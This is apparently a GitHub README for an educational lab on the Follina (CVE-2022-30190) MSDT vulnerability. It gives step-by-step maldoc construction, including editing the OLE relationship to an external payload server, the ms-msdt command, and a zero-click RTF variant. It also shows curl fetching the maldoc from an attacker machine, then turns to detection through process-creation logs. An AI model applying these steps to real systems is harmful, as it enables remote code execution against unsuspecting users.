muhammad-ali007/follina_msdt_cve-2022-30190Educational exploit for CVE-2022-30190 (Follina) demonstrating MSDT remote code execution via malicious Office documents, with detection and mitigation guidance.
Microsoft explains that “a remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft states that “the Microsoft Support Diagnostic Tool (MSDT) collects information to send to Microsoft Support. They will then analyze this information and use it to determine the resolution to any problems that you may be experiencing on your computer”. With that in mind, it’s essentially a way for Microsoft Support to immediately see what’s wrong as they’re getting all the information they need straight from the source
Exploit Explanation
Let’s start with a disclaimer: for our purposes, we’ll be loading our payload via a word document, particularly in the .docx format - this is the original exploit that has been discovered in the wild. However, this vulnerability has been proved to work in a number of other office products.
Two important aspects of this vulnerability are: 1 - specific docx files contain OLE (originally abbreviates to Object Linking and Embedding) Object references, and sometimes, they take the form of HTML files hosted elsewhere. 2 - MS-MSDT allows for code execution.
Combining the above two aspects together, an MS-MSDT HTML scheme can be used to execute PowerShell code, and that a docx file can be used to load it via word’s external reference capability.
More specifically, drilling into the docx structure, the "word/_rels/document.xml.rels" file has an XML tag with an attribute Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" that describes an external oleObject reference. In order to exploit this docx feature, we can edit the contents of this tag to point instead to the payload that we're hosting by changing the Target value into http://<external_payload_server.com>/<payload.html> and the TargetMode value into "External".
In the word/document.xml file, there's an XML tag that starts with <o:OLEObject...> wherein we should change the Type value to "Link" and then add the Key-Value pair attribute UpdateMode="OnCall".
The only thing left to do now is to host the payload that the word file will be connecting to, and receiving instructions from upon opening of the file. This is done by creating an html file with a structure similar to following:
In the above contents of the html file, you'd notice the ms-msdt:/id PCWDiagnostic /skip force /param command, along with the command switches you can use to set the command you want to execute in the target machine. You can then mix and match the payload according to your purposes.
As such, we now have a way to achieve remote code execution without touching any macros, and as we'll see later, without even opening the malicious document.
Publicly Available Exploit Focus (https://github.com/JohnHammond/msdt-follina) John Hammond has created a tool to automate the process of creating a malicious document (maldoc) and consequently host the malicious html file that houses the bad command. The tool is documented in the link above, and we will be using a forked version of it to further understand the concept of the exploit touched upon earlier.
Open a terminal, clone this repository and change your working directory to where the msdt-follina repository has been cloned. root@host:~/Follina-MSDT# python3 follina.py
Upon firing up the exploit, you should be hosting the file already, so it’s ready to be “delivered” to the victim machine. While keeping the original terminal open, open another terminal and enter the following command to host the files on a server: root@host:~/Follina-MSDT# python -m http.server 3456
On the target machine, proceed to open a command prompt and enter the following command: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
This downloads the maldoc in our machine and as such, shortly after, you should be able to see the word file named follina.docx appear in the Desktop, ready to be run. When you're ready, open the file and watch what happens. For now, let's allow the maldoc and all of the stuff that it spawned, to remain running
"Zero Click" Implementation
In order to replicate the “zero click” implementation of this vulnerability, we simply head to the malicious word file, add a cute message (completely optional), save it in the Rich Text Format (RTF), and we’re good to go. This implementation assumes that the victim machine is in the preview pane view, else it will revert to the original functionality which will still run upon opening of the file.
Open the file explorer and navigate to the Desktop folder. There you will see the seemingly honest file that we made that needs clicking, proceed to click it once careful not to actually open it and see what will happen.
Despite not actually opening the file, the exploit ran in the same manner that it did earlier in this exercise. This happened because of two key features: 1 - the feature of the File Explorer to preview files before opening them. 2 - the RTF which allows the feature of document files being able to be previewed in the File Explorer before being opened (among other purposes).
Combining the two and then abusing them will result in an attack vector that we’ve just witnessed now.
Detection & Mitigation Threat hunting:
The Windows machine that we’ve used to study the exploitation of the vulnerability has been pre-configured to have logging enabled for:
These auditing mechanisms are not configured by default and as such, it is imperative that these are turned on in your own environments to aid in the detection of suspicious behavior, and to help keep valuable data available for forensic examiners.
During the previous process, we've identified a number of interesting process creations upon the exploitation of the vulnerability. These process creations are logged in Windows Security Logs, ready to be analyzed via your favorite viewer, or forwarded to a centralized log collector to be processed then further used later on.
For this task we'll be using Event Log Viewer for Windows by Nirsoft to check out the process creations we've identified earlier. We will then look for details within these process creations that we can use to look for clues in other event logs to explain better what happened behind the scenes.
Proceed to open FullEventLogView. Go to View > Use Quick Filter. A search bar should appear on top of the logs which would allow us to do quick searches. Since we wanted to check the details of our process creations, we can click on the left-most drop down menu and choose Find Event ID (space/comma...), then type 4688 to the search bar provided.
The screen should populate with Process Creation events and you'll notice immediately that there's a ton of them, despite having minimal interaction with the machine.
